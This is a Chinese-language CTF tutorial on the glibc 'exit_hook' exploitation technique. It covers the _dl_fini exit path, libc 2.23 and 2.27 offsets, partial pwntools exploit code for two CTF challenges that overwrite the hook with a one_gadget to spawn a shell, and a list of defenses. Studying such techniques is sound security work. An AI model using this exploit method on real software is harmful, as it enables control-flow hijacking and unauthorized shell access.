程序退出调用链的利用--exit_hook
字数 1219 2025-08-22 12:22:24
exit_hook利用技术详解
1. 基本概念
exit_hook是一种在glibc 2.34版本之前存在的利用技术,通过劫持程序退出时的调用链来获取控制权。这种技术特别适用于存在任意地址写漏洞的场景。
2. 技术原理
2.1 调用链分析
exit_hook技术主要利用以下调用链:
__run_exit_handlers -> _dl_fini
这个调用链可以通过两种方式触发:
- 通过libc_start_main进入
- 程序显式调用了exit函数
2.2 _dl_fini函数分析
_dl_fini函数是动态链接器的一部分,负责在程序退出时清理动态加载的共享库。关键代码片段如下:
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns) {
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
}
其中关键的并发保护机制:
__rtld_lock_lock_recursive (GL(dl_load_lock));
__rtld_lock_unlock_recursive (GL(dl_load_lock));
2.3 _rtld_global结构体
_rtld_global结构体是glibc中RTLD(动态链接器运行时)管理全局状态和信息的关键组件。exit_hook的利用点就位于这个结构体的特定偏移处。
3. 不同版本libc的偏移
不同版本的glibc中exit_hook的偏移位置:
-
libc-2.23:
- exit_hook = libc_base + 0x5f0040 + 3848
- exit_hook = libc_base + 0x5f0040 + 3856
-
libc-2.27:
- exit_hook = libc_base + 0x619060 + 3840
- exit_hook = libc_base + 0x619060 + 3848
4. 利用条件
- 知道libc版本
- 存在任意地址写漏洞
- 程序会调用exit或通过libc_start_main退出
5. 例题分析
5.1 ezheap例题
程序分析:
- 包含一个猜数字程序(sub_4012B6)
- srand种子是当前时间
- 提供size输入,size为有符号整数(重要)
- 提供八字节地址任意写功能
利用思路:
- 通过输入size为-1将地址映射到libc附近,泄露地址
- 修改exit_hook函数为one_gadget
- 触发exit调用获取shell
EXP关键代码:
# 获取堆地址
rl("input size you want to malloc\n")
sl(str(-10))
heap_addr=int(mx.recv(14),16)+ 0x100000ff0
# 计算exit_hook地址
exit_hook=heap_addr+ 0x619f60+8
# 写入one_gadget
s(p64(exit_hook))
s(p64(ogg))
5.2 hctf2018_the_end例题
程序特点:
- 提供了libc
- 任意地址写四个字节
利用流程:
- 泄露libc地址
- 计算exit_hook地址
- 分四次写入one_gadget地址
EXP关键代码:
# 计算目标地址
target_addr=libc_addr+3848+0x5f0040
# 分四次写入one_gadget
for i in range (4):
s(p64(target_addr))
sleep(0.5)
s(p8(ogg&0xff))
target_addr+=1
ogg=ogg>>8
6. 总结与建议
- 在攻击低版本libc时,exit_hook是一个有效的替代IO_FILE利用的技术
- 需要精确计算目标libc版本的偏移
- 任意地址写漏洞是前提条件
- 相比IO_FILE利用,exit_hook通常更简单直接
7. 防御措施
- 升级到glibc 2.34或更高版本
- 对用户输入进行严格校验,防止任意地址写
- 使用现代防护机制如ASLR、FORTIFY_SOURCE等
8. 参考文献
- glibc源码分析
- 相关CTF题目writeup
- 动态链接器内部机制文档